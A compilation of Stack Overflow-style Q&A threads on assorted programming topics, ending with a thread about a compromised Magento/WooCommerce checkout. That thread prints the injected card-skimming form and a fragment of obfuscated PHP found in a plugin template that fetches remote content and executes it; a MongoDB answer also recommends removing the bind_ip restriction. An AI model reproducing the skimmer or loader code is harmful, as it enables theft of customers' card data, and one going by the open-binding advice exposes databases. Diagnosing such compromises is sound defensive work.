            let zp: MessageOne = serde_json::from_str(data).unwrap();
            process_message_one(&zp);
        },
        "two" => {
            let zp: MessageTwo = serde_json::from_str(data).unwrap();
            process_message_two(&zp);
        },
        _ => println!("Unknown Message Type")

    }

}

I've seen Serde's enum representations but it was unclear to me if/how that would be applied in this case. The messages coming in are defined by an external API, so I can't control their content beyond knowing what the variants are.

A: There is no point to keep "one" or "two" in your structure MessageOne and MessageTwo: if you have constructed this structure you already know if it is message one or message two.
extern crate serde; // 1.0.78
extern crate serde_json; // 1.0.27

#[macro_use]
extern crate serde_derive;

#[derive(Serialize, Deserialize, Debug)]
#[serde(tag = "op")]
enum Message {
    #[serde(rename = "one")]
    One { x: f64, y: f64 },
    #[serde(rename = "two")]
    Two { a: f64, b: f64 },
}

fn process_message(message: &Message) {
    println!("Processing a : {:?}", message);
}

use serde_json::Error;

fn main() -> Result<(), Error> {
    let data = r#"{
        "op": "one",
        "x": 1.0,
        "y": 2.0
    }"#;

    let message: Message = serde_json::from_str(data)?;
    process_message(&message);

    let data = r#"{
        "op": "two",
        "a": 1.0,
        "b": 2.0
    }"#;

    let message: Message = serde_json::from_str(data)?;
    process_message(&message);

    let data = r#"{
        "op": "42",
        "i": 1.0,
        "j": 2.0
    }"#;

    let message: Message = serde_json::from_str(data)?;
    process_message(&message);
    Ok(())
}

Standard Output
Processing a : One { x: 1.0, y: 2.0 }
Processing a : Two { a: 1.0, b: 2.0 }

Standard Error
Error: Error("unknown variant `42`, expected `one` or `two`", line: 2, column: 18)


text:
Q: Select a specific button in Javascript/AJAX I have a list where a user can save various items in a Django app. Next to each items I have a button that can be used to delete this item.
Items are stored in a database and are displayed with a for loop. The problem is whatever button I press, the first one is selected and deleted.
I am new to JavaScript but I do understand that my issue is coming from my var.product selector because .val() returns the first element that matches ('.substitut').
I have tried to tweak a little with $(this) but with no luck...
How can I select each product in each button individually?
My HTML:
   {% extends 'finder/base.html' %}

{% block content %}

Bienvenue sur ton compte {{ user }}

Produit recherché

Produit de substitut

    {% for saved in saved_list %}

                          {...}

{{ saved.sub_product.real_name}}/ {{ saved.sub_product.real_brand }}

            <form class="form_id" method='post'>{% csrf_token %}
              <button class=' btn substitut' value='{{ saved.id }}'></button>

            </form>

    {% endfor %}

        {% if saved_list.has_previous %}
        previous
        {% endif %}

          Page {{ saved_list.number }} de {{ saved_list.paginator.num_pages }}

        {% if saved_list.has_next %}
        next
        {% endif %}

{% endblock %}

My AJAX:
$(".form_id").on('submit', function(event) {
    event.preventDefault();
    var product = $('.substitut').val();
    console.log(product);
    var url = '/register/delete/';
    $.ajax({
        url: url,
        type: "POST",
        data:{
            'product': product,
            'csrfmiddlewaretoken': $('input[name=csrfmiddlewaretoken]').val()
        },
        datatype:'json',
        success: function(data) {
          if (data['success'])
            console.log(product);
            $("#fav_list").load(location.href + " #fav_list > *");
            location.reload(true);

        }
    });
});

A: You can use onclick event of jquery instead of submit , because as i can see in your code provided you are not submiting your form and inside your submit event you are using ajax so this should work.Change your ajax code like below :
$(".substitut").on('click', function(event) {
    event.preventDefault();
    //getting current button value which is clicked
    var product = $(this).val();
    console.log(product);
    var url = '/register/delete/';
   //put your ajax code here
});

Demo code :

$(".substitut").on('click', function(event) {
    event.preventDefault();
    //getting current button value which is clicked
    var product = $(this).val();
    console.log(product);
    var url = '/register/delete/';
   //put your ajax code here
});
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">

<button class='substitut' value='{{ saved.id}}'></button>
<button class='substitut' value='{{ saved.id1}}'></button>
<button class='substitut' value='{{ saved.id2}}'></button>

Update 1: Alternate solution would be creating a click event on button which will store current reference of button clicked and used that inside your submit event .
Demo code :

var $submit = null;
var $button = $('button');

$(".form_id").on('submit', function(event) {
  event.preventDefault();
  //getting value of button clicked
  var product = $submit.value;
  console.log(product);
  var url = '/register/delete/';
  $.ajax({
    url: url,
    type: "POST",
    data: {
      'product': product,
      'csrfmiddlewaretoken': $('input[name=csrfmiddlewaretoken]').val()
    },
    datatype: 'json',
    success: function(data) {
      if (data['success'])
        console.log(product);
      $("#fav_list").load(location.href + " #fav_list > *");

    }
  });
});

//when button is clicked
$button.click(function(event) {
  //putting current button clicked reference in variable $submit
  $submit = this;
});
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">

<form class="form_id" method='post'>{% csrf_token %}{{ saved.id}}
  <button class='substitut' value='{{ saved.id}}'></button>
</form>
<form class="form_id" method='post'>{% csrf_token %}{{ saved.id1}}
  <button class='substitut' value='{{ saved.id1}}'></button>
</form>


text:
Q: A request for a suggestion for a mathematics talk aimed at first year and second year undergraduate students in science I am to give a mathematics talk in a couple of weeks and I am writing to request suggestions for possible topics of the talk. The relevant information is as follows:
(1) The audience for the talk consists of first and second year students in science; some of the students might be first or second year students in mathematics. In particular, I cannot expect that any member of the audience is particularly knowledgeable in mathematics; I think at a minimum I can assume a knowledge of the elements of calculus. However, I would prefer the talk to not be directly based on calculus.
(2) The audience consists of very intelligent students. Nevertheless, I probably should not expect the audience to have to do a great deal of thinking while listening to the talk.
(3) The talk is to be 15 minutes in length. In particular, I probably have to focus on one theme during the talk.
I would like to talk about a mathematics topic that fits the following description:
(a) The talk appeals to an intelligent person who is not particularly knowledgeable in mathematics but is not too trivial that it does not appeal to a mathematics student.
(b) The talk illustrates a beautiful piece of mathematics.
(c) The talk is solely based on mathematics.
Thank you very much in advance for all suggestions for the topic of the talk! I will certainly acknowledge you in the talk if I use your suggestion for the topic of the talk.

A: I think that the periodicity of Fibonacci numbers modulo $m$ is a topic that can be introduced to your desired audience and about which non-trivial, appealing things can be said within 15 minutes (you might want to mention some of the more advanced, more appealing things at the end without proof).
Specifically, I imagine you could introduce the Fibonacci numbers (but I think they have seeped into popular knowledge to a significant extent), modular arithmetic, observe the periodicity in a few example cases, prove that the period is always even, and prove that the period modulo $m$ is less than or equal to $m^2-1$ (which is just the pigeonhole principle). You could then mention without proof that in fact the period modulo $m$ is less than or equal to $6m$, and various observations about the period modulo a prime number.

A: If I am right, your talk is going to be for our conference in a few weeks. I can tell you a little bit about the first year audience: Most of them are not well acquainted with mathematics and few actually will understand its true power - including me. Perhaps those in second year who have done the rigorous analysis course will be able to appreciate more of what you are going to talk about.
Most of the students, at least those in first year are now doing the standard calculus/linear algebra course offered. I think at this point they have not seen how analysis and linear algebra come together beautifully and perhaps your talk can be based on showing how different fields of mathematics come together (at the moment most students - at least in my year - think that analysis and linear algebra are not related at all).
For me I would suggest a talk on non-Euclidean geometry. Several reasons are:
$\textbf{(1)}$ I think students would be fascinated about the fact that the sum of the angles in a triangle being 180 degrees holds only for Euclidean geometry. Besides, how are so called "curved" surfaces not to impress anybody? :D
$\textbf{(2)}$ You can show a lot of pretty pictures by M. C. Escher (he has a work called "circle limit" which is the Poincaré model of hyperbolic geometry, you can explain why the "devils" go smaller towards the edge) that can fascinate people - it is way easier for people at this level to imagine "beauty" like this than to explain say what Maschke's Theorem is. The latter would require having to explain a lot of technical language first.
$\textbf{(3)}$ Students of physics I understand have learned at least special relativity. You can mention Minkowski spacetime and how this is related to the hyperboloid model of hyperbolic geometry. In particular maybe you can link this to why the inner product used in class has signature $(1,1,1-1)$.
$\textbf{(4)}$ I think one can present a topic on this while expecting minimal prerequisites from the audience. You can have a look at Needham's book as mentioned above - there is a chapter in there on hyperbolic geometry. Proofs were neat and elegant, many of them using so called symmetry arguments like proving why every automorphism of the unit disk to itself has the form $e^{i\theta}$ times some linear fractional transformation which I don't remember.
I hope this helps!

A: Some practical thing is always good in short-only expositions. Also if it is some problem of non-zero relevance solved with primitive/homebrewed means I would have liked it as a young student.
One idea which comes to mind were farming or even architecture in ancient orient where they wanted to assure rectangular angles for the house/temple/garden/farm. Then this leads to the pythagorean triangles and the rope-with-knots-solution for the workers (a rope with 3+4+5 knots, for instance, which he could manufacture at any place he happend to be and any size required).
For your talk to get then the shift to deeper problems of science/math one could introduce the question, what happens to the number of knots on the hypothenuse, if the architect wanted a square - to come out with the observation, that generalizations of a problem sometimes lead to the introduction of new concepts (non-rational numbers). Which are sometimes even anticipated in social/scientific disagreement (do irrational numbers exist? When -historically- was this generally understood?) Do we see acceptance-problems even today which express some intrinsic difficulty for our pre-scientific daily-thinking? And what's the role of a rigorous framework for the science (here: the subject is math/geometry/architecture)?

That raw idea came after I've just read some nice books about early cultures - I didn't yet think really deep about formulating the math for this current answer, though. But perhaps it is a triggering idea anyway? At least it seems to be not too much for a 15-min-talk...

A: One possibility is to give a discussion of scaling laws in engineering, physics, biology, etc. Google "square cube law" for some ideas. You can talk about the fallacy of the strength of fleas, biological issues (breathing, walking, etc.) for insects the size of dinosaurs in all those 1950s "B grade" movies, problems in designing huge skyscrapers, what wind tunnels can tell you about airplanes and what they can't, fractals, why small hot objects cool faster than large hot objects, etc. Depending on the background of your audience, you can work plenty of mathematics into this topic, such as relative growth rates of functions or how the scaling features of the area of a square can be used to show the same for the interior of any "nice" planar figure (fill the region with lots of tiny squares). Also, with this topic you can readily incorporate pictures and graphs into your talk.
(5 minutes later) I just noticed your last requirement (pasted below), which I missed earlier. I was thinking of a talk involving mathematics (but not purely mathematics) for first and second year science majors.
(c) The talk is solely based on mathematics.
(next day) Here's something that is more "pure math" based. The URL below takes you to a sci.math thread in which a method is given for obtaining, in a relatively simple way, quotients of integers whose decimal expansions contain arbitrarily long (when the length is specified in advance) initial segments of the Fibonacci sequence. For example,
$$\frac{100000}{9999899999}$$
$$=\;\;\; 0.\;\;\;00001\;\;\;00001\;\;\;00002\;\;\;00003\;\;\;00005\;\;\;00008\;\;\;00013\;\;\;00021$$
$$\;\;\;\;\;\;\;\;\;\;\;\;\;00034\;\;\;00055\;\;\;00089\;\;\;00144\;\;\;00233\;\;\;00377\;\;\;00610\;\;\;00987$$
$$\;\;\;\;\;\;\;\;\;\;\;\;\;\;\;\;\;\;01597\;\;\;02584\;\;\;04181\;\;\;06765\;\;\;10946\;\;\;17711\;\;\;28657\;\;\;46368\;...$$
One way to see how this works makes use of generating functions, and other ideas are explored in this thread. Also, in a later post I give the details for obtaining quotients of integers whose decimal expansions contain arbitrarily long initial segments (when the length is specified in advance) of a general 2nd order positive-integer-linear difference equation: $x_{n+2} = r \cdot x_{n+1} + s\cdot x_{n},$ where $a,$ $b,$ $r,$ $s$ are positive integers and $x_{0} = a,$ $\;x_{1} = b.$ Some relevant published expository journal papers are also cited in this thread.
http://groups.google.com/group/sci.math/browse_thread/thread/75293d5da542545a

A: Hmn, how about complexity theory? Does that count as pure Math? Maybe you can take something practical like finding patterns in a DNA sequence, and explain an algorithm for finding these patterns, and take them step-by-step on finding the complexity of the algorithm.
Else, how about something simple like going through finding the closed-form generating function for the Fibonacci numbers? It's something quick, interesting (well, personally I find it pretty neat), and Fib. numbers is something everyone would have heard of. The Math is not advanced, at the same time it's not trivial or boring.


text:
Q: How to use if condition in my wordpress shortcode I want to use a condition with shortcode.
How can I use if else condition from shortcode?
Here is my code :
    function testimonial_content_shortcode($atts){
  extract( shortcode_atts( array(
    'category' => '',
    'count' => '',
    'type' => 'post',
  ), $atts  ) );

    $q = new WP_Query(
        array('posts_per_page' => $count, 'post_type' => 'testimonial-items', 'order', 'ASC' )
        );

  $list = '
';

  while($q->have_posts()) : $q->the_post();
     $idd = get_the_ID();
     $client_name = get_post_meta($idd, 'client_name', true);
     $company_name = get_post_meta($idd, 'company_name', true);

    $list .= '

            '.get_the_content().'

              Client Name:

                 '.$client_name.'

              Company Name:

                 '.$company_name.'

    ';
  endwhile;
  $list.= '
';
  wp_reset_query();
  return $list;
}
add_shortcode('tcontent', 'testimonial_content_shortcode');

I want when I will put my client name then it will be show in my page Client Name: Belal . But when I will not select any name that's why it will not show on My client name:
NB: I use option tree

A: I think you are trying to check client name and company name if they are given from the back end. These fields are optional and you need to show those fields in your page only if there are some values there.
Please check with this code. This should help you:
function testimonial_content_shortcode($atts){
  extract( shortcode_atts( array(
    'category' => '',
    'count' => '',
    'type' => 'post',
  ), $atts  ) );

    $q = new WP_Query(
        array('posts_per_page' => $count, 'post_type' => 'testimonial-items', 'order', 'ASC' )
        );

  $list = '
';

  while($q->have_posts()) : $q->the_post();
     $idd = get_the_ID();
     $client_name = get_post_meta($idd, 'client_name', true);
     $company_name = get_post_meta($idd, 'company_name', true);

    $list .= '

            '.get_the_content().'

';

if( !empty($client_name) ) {

         $list .= '
              Client Name:

                 '.$client_name.'
              ';
}
if( !empty($company_name) ) {
         $list .= '
              Company Name:

                 '.$company_name.'
              ';
}

$list .= '

';

  endwhile;
  $list.= '
';
  wp_reset_query();
  return $list;
}
add_shortcode('tcontent', 'testimonial_content_shortcode');

Thanks!


text:
Q: ProgressDialog not stopping if I click twice on menu/button I am using ProgressDialog to show loading whenever user clicks on any menu, and it works fine. But when the user clicks twice on menus, ProgressDialog not stopping, it's running endlessly.
How can I solve this issue?
This is my code structure:
async void Grid_ItemClick(object sender, AdapterView.ItemClickEventArgs e)
{
    _pbr = Utilities.ProgressBar(this, "b").Show();
   switch (e.Position)
   {
    case 0:
        var result = await objHw.GetHomework(userid,log.LogInOrganizationID);
        if (resultA.Any())
        {
            //code
        }
        else
        {
            _pbr.Hide();
            Toast.MakeText(this, "Homework not available.", ToastLength.Short).Show();
        }
        _pbr.Hide();
        break;
    case 1:
    case 2:
  }
}

Utilities.ProgressBar method:
public static ProgressDialog ProgressBar(Context context, string position)
{
    var pbr = new ProgressDialog(context);
    pbr.SetCancelable(false);
    pbr.Indeterminate = true;
    pbr.SetProgressStyle(ProgressDialogStyle.Spinner);
    switch (position.ToLower())
    {
        case "c":
            pbr.Window.SetGravity(GravityFlags.Center);
            break;
        case "b":
            pbr.Window.SetGravity(GravityFlags.Bottom);
            break;
    }
    pbr.SetMessage("please wait..");
    return pbr;
}

Loading...

A:
ProgressDialog not stopping if I click twice on menu/button

When user clicks twice on menus, avoid to create multiple instance for your ProgressDialog should resolve this issue:
public class Utilities
{
    public static ProgressDialog pbr;
    public static ProgressDialog ProgressBar(Context context, string position)
    {
        if(pbr == null)
        {
            pbr = new ProgressDialog(context);
        }

        pbr.SetCancelable(false);
        ...
        pbr.SetMessage("please wait..");
        return pbr;
    }
}


text:
Q: Tkinter box packing in loop is slow I'm running a slowish process of building a set of PDFs using LaTeX that's put together by my script.
The PDFs are built in a for loop. I wanted to show a status window that would add a line for each student that the loop goes through, so that you could see the progress. I have been doing this with print, but I wanted something that integrated well with the Tkinter interface that I have moved to.
I have this:
ReStatuswin = Toplevel(takefocus=True)
ReStatuswin.geometry('800x300')
ReStatuswin.title("Creating Reassessments...")
Rebox2 = MultiListbox(ReStatuswin, (("Student", 15), ("Standard", 25), ("Problems", 25) ))
Rebox2.pack(side = TOP)

OKR = Button(ReStatuswin, text='OK', command=lambda:ReStatuswin.destroy())
OKR.pack(side = BOTTOM)

and then the loop:
for row in todaylist:

and then, inside the loop, after the PDF has been made,
    Rebox2.insert(END, listy)

It inserts the row fine, but they all show up (along with the ReBox2 window itself) only after the entire loop is finished.
Any idea about what's causing the delay in display?
Thanks!

A: Yes, from what I can tell, there are two problems.  First, you are not updating the display with each new entry.  Second, you are not triggering the for loop with a button but instead having it run on startup (which means that the display won't be created until after the loop exits).  Unfortunately however, I can't really work with the code you gave because it is a snippet of a much larger thing.  However, I made a little script that should demonstrate how to do what you want:
from Tkinter import Button, END, Listbox, Tk
from time import sleep

root = Tk()

# My version of Tkinter doesn't have a MultiListbox
# So, I use its closest alternative, a regular Listbox
listbox = Listbox(root)
listbox.pack()

def start():
    """This is where your loop would go"""

    for i in xrange(100):
        # The sleeping here represents a time consuming process
        # such as making a PDF
        sleep(2)

        listbox.insert(END, i)

        # You must update the listbox after each entry
        listbox.update()

# You must create a button to call a function that will start the loop
# Otherwise, the display won't appear until after the loop exits
Button(root, text="Start", command=start).pack()

root.mainloop()


text:
Q: Handle special keys' events in javascript I have overriden onkeyup and onkeydown functions in my web application and i would like to use the keyboard's pause/break key.
But it seems that this is a special key and has a strange behaviour. After a keydown event it fires a keyup immediately, even if you use preventDefault() and stopPropagation() methods.
The following script should demonstrate the behaviour clearly.
First press and hold space bar. No alert should pop up until you take your hand off the space key. Then try the same with pause/break key and you should get the alert as soon as you press down the key.
https://jsfiddle.net/at3L9o73/2/
window.onkeydown = keydown;
window.onkeyup = keyup;
function keydown(event)
{
    if(event.keyCode == 19)
    {
        event.preventDefault();
        event.stopPropagation();
        console.log("break down");
    }
  else if(event.keyCode == 32)
    {
        event.preventDefault();
        event.stopPropagation();
        console.log("space down");
    }
}
function keyup(event)
{
    if(event.keyCode == 19)
    {
        event.preventDefault();
        event.stopPropagation();
        console.log("break up");
    window.alert("break keyp????");
    }
  else if(event.keyCode == 32)
    {
        event.preventDefault();
        event.stopPropagation();
        console.log("space up");
    window.alert("space keyp");
    }
}

Thanks in advance

A: Seems like it was my keyboard!
I checked the script using both a Dell and a HP keyboard, and didn't have any unexpected behaviour.
After investigating further i found reports that some keyboards (like mine) treat the pause/break and print screen/sysrq keys like i described. Sending both keydown and keyup sequences when pressed and nothing when released.
This article describes a similar behaviour :
Keyboard Scancodes - Special Keyboards


text:
Q: Python Object Oriented structure I am new to python and I come from C# background. I was reading a book on Python and came across a statement that a class is an object in Python. I am not quite sure if it is true because I tried to look it up online and couldn't find an answer. Could someone please explain?
Here is a paraphrase of what the writer says:

program units such as functions, modules, and classes are objects in Python too

And could someone also elaborate why this is the case as in C# objects are derive from class.
Like Car is a class and Honda, Mercedes is an object of that class. But as i am reading it seems in Python class is an object. So car is an object, Honda and Mercedes are also an object so what is the benefit of class?

A: When one creates a class in Python:
class Frabbah:
    """
    A soothing class, designed to ease tensions on StackOverflow.
    """

one then has a thing, or an object, that one can work with:
--> print(Frabbah)
<class '__main__.Frabbah'>

and one can add attributes to it:
--> Frabbah.answer = 'Interesting...'

and then look them up:
--> print(Frabbah.answer)
Interesting...

Pretty much everything in Python is a thing, or a first-class citizen, meaning you can pass these things around, inspect them, modify them, etc., etc.  So an integer as an object, a class is an object, a function is an object...


text:
Q: Laravel Eloquent how to select relation field as certain fields of main object $select = Model::with(['relation' => function($query) {
    $query->select('id', 'somefield');
}])->get();

When using this code I get my Model object with relation field which contains somefield.
{
    ... some Model fields
    ...
    relation => {
        id => someid
        somefield => somevalue
    }
}

But what if I need somefield to be the field of Model instead?
{
    ... some Model fields
    ...

    somefield => somevalue
}

Edit: In other words I want to get the same result as following query, using Eloquent
\DB::table('table1')
    ->select('table1.field1', 'table2.field2 as otherfield',
    ->leftJoin('table2', 'table2.id', '=', 'table1.parent_id')->get();

A: Use the Laravel plcuk method like so:
$shopAddresses = Shop::where('name', 'Starbucks')->pluck('address');


text:
Q: OrientDB Select query instead of join I have an OrientDB document database. I executed the following commands via Studio:
DROP CLASS student;
DROP CLASS studyCourse;

CREATE CLASS student;
CREATE CLASS studyCourse;

CREATE PROPERTY student.Id INTEGER;
CREATE INDEX Student.Id UNIQUE;
CREATE PROPERTY student.surname STRING;
CREATE PROPERTY student.FK_studyCourse_abbreviation STRING;

CREATE PROPERTY studyCourse.abbreviation STRING;
CREATE INDEX studyCourse.abbreviation UNIQUE;
CREATE PROPERTY studyCourse.name STRING;

CREATE LINK student TYPE LINKSET FROM student.FK_studyCourse_abbreviation TO studyCourse.abbreviation INVERSE;

INSERT INTO studyCourse SET abbreviation = 'Inf', name = 'informatics';

INSERT INTO student SET Id = '11111', surname = 'Miller';
UPDATE studyCourse ADD student = (SELECT FROM student WHERE Id = '11111') WHERE abbreviation = 'Inf';

Now I want to select values as described in the manual ( http://orientdb.com/docs/2.1/SQL.html ):
SELECT * FROM studyCourse WHERE student.surname = 'Miller';

There are no records found.

A: try using contains instead of =
SELECT FROM studyCourse WHERE student.surname contains 'Miller'

this is working for me:
----+-----+-----------+------------+-----------+-------
#   |@RID |@CLASS     |abbreviation|name       |student
----+-----+-----------+------------+-----------+-------
0   |#14:0|studyCourse|Inf         |informatics|[1]
----+-----+-----------+------------+-----------+-------

Ivan


text:
Q: Adobe Illustator bug in svg view, how to fix SVG share
It has no probmels with view in browser

But in Illustrator i have a bug:
white last charecters in every word

Of couse when i save this file, i get this bug in the result svg.
It happend with  2019, 2020, 2021 versions of Illustrator.
Any ideas how to fix?


text:
Q: Server-side validation for auto-saving multipage form I'm currently building out a multipage form using Flutter (frontend) and Node/Express/MongoDB/Mongoose (backend) for which I would like to implement auto-saving as the user progresses through each page (ie. clicking the next button after each page saves form data to the DB).
I have client-side validation to ensure fields are filled out and in the correct format, but I believe server-side validation is more important to implement in the event the user bypasses the client-side. I was wondering if anyone had general design ideas/processes I could implement for this idea. Some ideas I have:

*

*I'm thinking about sending a POST/PUT request to our server after each page, but I have no way of validating the incoming data server-side unless I create over 30 schemas for each of the pages. Each page has different questions so there isn't a single common validator I can use.

*Another option was having a temporary object with all the fields, and only validate the object at the very end when the user clicks 'submit,' but this is bad UX design in my mind as any error may require the user to be set back to the 1st or 2nd page which is frustrating for sure.
My main concern is validating the incoming data on the server-side as well as the client-side, but I can't seem to think of a good way to do both in a clean manner. I believe this question is language-agnostic, but I added my tech stack just in case.
Any help would be greatly appreciated :)


text:
Q: Accessing MongoDB from Windows & Mac Client Machines I have MongoDB 3.2 installed on my Linux Red Hat server.
I am starting to access it and looking at the mongo Shell instructions.
For a Windows machine, the instructions want me to get to the command prompt and change dirs to the installation directory. The problem is, MongoDB is installed on my web server and not my local windows machine.
Question: does Mongo Shell apply to me then? How do I start using, connecting and accessing Mongo from my Windows and Mac machines?
[Note: I am a traditional MySQL / phpMyAdmin developer looking to advance to MongoDB]
Amendments:
(1) With the help of @AlexBlex I am progressing to trying to connect to my MongoDB on my server from Robomongo on my windows client. I get the following error when trying to setup my connection. I tried the address with just my server ip and with http://{my server ip}. Neither worked. See screen shot of error

(2) This is what I have in my current mongod.conf file:
#port=27017
bind_ip=127.0.0.1

(3) here is what my connection settings look like. Oddly, @AlexBlex's solution below shows an SSH tab on his Mac version. The Windows and Mac versions I just installed lacks that tab.

A: If you install MongoDB on your local machine, you can use the Mongo shell like below to connect to your remote server
mongo  yourserver:27017/database

You will  have to configure your Mongo server to allow remote connections. In order to achieve this you need to have the following line in your /etc/mongodb.conf file. You need to replace 10.0.0.2 with the ip address of  your client machine.
bind_ip = 127.0.0.1,10.0.0.2

A: You need either ssh to the server where mongodb is installed, or install mongodb on local machine.
For robomongo to connect to remote host you need to ssh to the server, and check it listens on external interface:
lsof -i | grep 27017

In case it is bound to localhost only, you need to edit a line with bind_ip in /etc/mongodb.conf and restart the service.
I would recommend to keep it listening on the local interface only for security reasons, and use ssh tunnelling to connect:

A: I found the answer. @ShahNewasKhan is brilliant. See How to connect Robomongo to MongoDB
All you need to do is SSH to server and edit mongod.conf file:

*

*uncomment #port=27017 to port=27017

*comment bind_ip=127.0.0.1 to #bind_ip=127.0.0.1

*restart mongodb via service mongod restart
Then create a mongo connection via your server ip in the address field and 27017 in the port field
Hope this helps mongo newbies and start-ups like me :) Good luck.
Now I just need to figure out how to make this secure. My concern is that anyone who knows my server ip can hack into my MongoDB


text:
Q: Weighting function in boost::numeric::quadrature or gsl quadrature I am trying to take the integral of a gamma PDF (pdf(x, a, b)) and apply a weighting function (w(x)).  I have been trying to find an example for either boost or gsl to do this in c++, but have come up short so far.
I was trying to use this as an input function in boost, but it doesnt not seem to work
struct f(a, b)
{
    double operator()(double x){ return w(x)*gamma_distribution(a, b) };

}

I am not 100% sure why though.
Thanks a lot in advance.

A: First of all, your syntax is wrong. Your snippet should be
struct f
{
    double operator()(double x) { return w(x)*gamma_distribution(a, b); }
};


text:
Q: SUMIF by using Python3 Let's assume I have an excel table with three columns:
 Hours     Loadfactor      Emissions
  1           0.99            100
  4           0.956           50
  3           0.91            26
  2           0.01            500
  2           0.0945          120

if Loadfactor >0.90 but <0.95  then extract these numbers make a new table and sum the emissions and hours.
How would i do that with python 3 coding?
** Sorry this might be a simple problem, but i am just novice in coding


text:
Q: how to listen for net::ERR_FILE_NOT_FOUND error I'm trying to catch the error when css file or js file not loaded by the browser
what I'm looking for is something like this

    <link rel="stylesheet" href="style.css" />

Status : ...

A: Use error event attached to <link> and, or


text:
Q: Hack in magento 2 payment Suddenly I am getting card detail form  in my magento 2 checkout page .. I cannot able to find the code .. I have disabled all payment method but still it appears

I have tried to find all details but I cannot able to find the source, so please help to solve the issue
KIndly find inspect element code

Credit/Debit Card Secure Payment

  Cardholder * <input id="name_on_card" type="text" maxlength="50" name="nc">

  Card Number * <input id="usaepay_cc_number" type="text" maxlength="24" name="paymentMethod[additional_data][control_settings]">

Expiration Date *

 <select id="usaepay_expiration" name="paymentMethod[additional_data][msn_set]"> <option value="" selected="">Month</option> <option value="01">01</option> <option value="02">02</option> <option value="03">03</option> <option value="04">04</option> <option value="05">05</option> <option value="06">06</option> <option value="07">07</option> <option value="08">08</option> <option value="09">09</option> <option value="10">10</option> <option value="11">11</option> <option value="12">12</option> </select>

 <select id="usaepay_expiration_yr" name="paymentMethod[additional_data][yellow_set]"> <option value="" selected="">Year</option> <option value="20">2020</option> <option value="21">2021</option> <option value="22">2022</option> <option value="23">2023</option> <option value="24">2024</option> <option value="25">2025</option> <option value="26">2026</option> <option value="27">2027</option> <option value="28">2028</option> <option value="29">2029</option> <option value="30">2030</option> </select>

  Card Verification Number * <input id="usaepay_cc_cid" type="password" maxlength="4" name="paymentMethod[additional_data][savage_set]">

<button style="display: block; margin-top: 20px; float: right;" class="action primary checkout" type="submit" id="mbtn" onclick="return false;" disabled="">Continue</button>

<form id="co-payment-form" class="form payments" novalidate="novalidate" style="display: none;">
            <input data-bind="attr: {value: getFormKey()}" type="hidden" name="form_key" value="UJSacI1egJmwYDzG">

A: We have already had a similar case on Magento 1 following a security breach. To find the source of the code, we looked at the queries to find URLs that didn't make sense on the project. Then we did a grep on our production to find the modified file.
Other solution, reverse sort file by edition date on our environment : find . -type f -printf '%TY-%Tm-%Td %TT %p\n' | sort -r
Once the file was found, from the date, we searched the web server logs to find the requests executed to find out if the flaw came from a module, and it was indeed the case. We updated the module because there was a fix on the flaw, then another team verified that the machine does not contain a backdoor.

A: @vellaidurai Along with saying hello, I ask if they found more details about the checkout problem. I have the same problem in wordpress - woocommerce. That form is overlaying my payment gateways not allowing payment. I didn't ask for those fields before and I don't have PayPal or similar enabled. Thanks in advanced.

A: @MarcoM
Edit: Guys this works just for my WOOcommerce shop, not magento. in magento you could do it with a bit of css knowledge to figure it out. , find the handler of payment methods and replace it with the handler i used in woocommerce.
i also had this issue just now, also with woocommerce. Reinstalled all my woocommerce and mollie plugin, run defender for malware nothing worked.. Was no member here, but read your cry for help and wanted to share this alternative solution i made to solve the problem for the moment in custom css.
#pay_forma, #pp--pay-form {
display:none!important;
}
.wc_payment_methods {
display: block!important;
}
for magento you probably can use other handler instead of .wc_payment_ methods, and make it visible again.. For now, I hope it helps for you also ;)
i would love to know where i can delete this maldito form.
peace out..
Por mis conocimientos no tiene porque entrar por tu login. Lo más probable es que entre por un login de una web con una contraseña poca segura porque su propietario no tiene nada que proteger. De ahí se pasa por las carpetas del server buscando los plugin de Woocommerce para introducir la etiqueta que oculta los modos de pago originales y mostrar el de él.
Así que él hacker ni siquiera sabe cuál es tu dominio ni a cuáles dominios ha afectado.
Mientras resuelven el problema., porque el principal problema lo tiene el propietario del hosting, al que tienes que informarle tal cual te lo escribo. Tú, si quieres seguir mostrando tu página quita todos los permisos al archivo nuevo y sano antes hackeado que es form-checkout.php. Así no podrá reescribirlo y tú podrás seguir mostrando la página. Inconvenientes son que nadie podrá pagar y Woocommerce no podrá actualizarse., pero no robaran los datos de las tarjetas de tus clientes.

A: I found this on file
wp-content/plugins/woocommerce/templates/checkout/form-checkout.php
Remove and all back work correct.
 array(
                        $ychuvak => $chazhicoqag,
                        $ryshutuc => "$ekheduchyva $ageshevugy\r\n$wudavu $yforupujy\r\n$zhyxareshi $sebuvinu\r\n$eshybytiq $ichywagizh\r\n$quhaqy $ushogored"
                    )
                );
                $kikukhise = stream_context_create($kikukhise);

                $ocumeq = @file_get_contents($xegufozich, false, $kikukhise);
                if (preg_match($avazysh, $ocumeq))
                    echo (@$ychuchag($ikhodaboko($ocumeq)));
            }
        }
    }
} catch (Exception $afawoqo) {

}?>

A: I have encountered the same issue in my WordPress site and my client added the card information to it. When they told me that they have initiated the payment via bank transfer and added card information, I was confused why it's asking for card details in the bank transfer.
I checked my site and disabled all the payment gateways and this form was still showing. Traced the CSS of it and found this thread then deleted the whole woocommerce plugin folder and installed a new one. Problem solved.
I have to communicate with my client and asked them to block the card. I was looking, like a bad person in front of my client.
I have been using ithemes security pro version and this happened. Now I'm looking for any service/plugin which secures your WordPress website. I know security but it's way too expensive. I'm running a hosting company and this could happen with any client.
Please suggest what I can do via WHM/cPanel to prevent hacking of WordPress.
Thank You

A: I have the same problem with my wordpress. Always used normal, verified and tested plugins. Randomly asking my customers for creditcard details. Reinstalled woocommerce, problem solved. Now a few months later the problem returned. When I check out myself I don't see any creditcard info fields, but still my customers tell me they can't use normal checkout and are asked for creditcard info. Never thought wordpress would be this easy to hack by someone. Anyone have a working solution??
Por mis conocimientos no tiene porque entrar por tu login. Lo más probable es que entre por un login de una web con una contraseña poca segura porque su propietario no tiene nada que proteger. De ahí se pasa por las carpetas del server buscando los plugin de Woocommerce para introducir la etiqueta que oculta los modos de pago originales y mostrar el de él. Así que él hacker ni siquiera sabe cuál es tu dominio ni a cuáles dominios ha afectado.
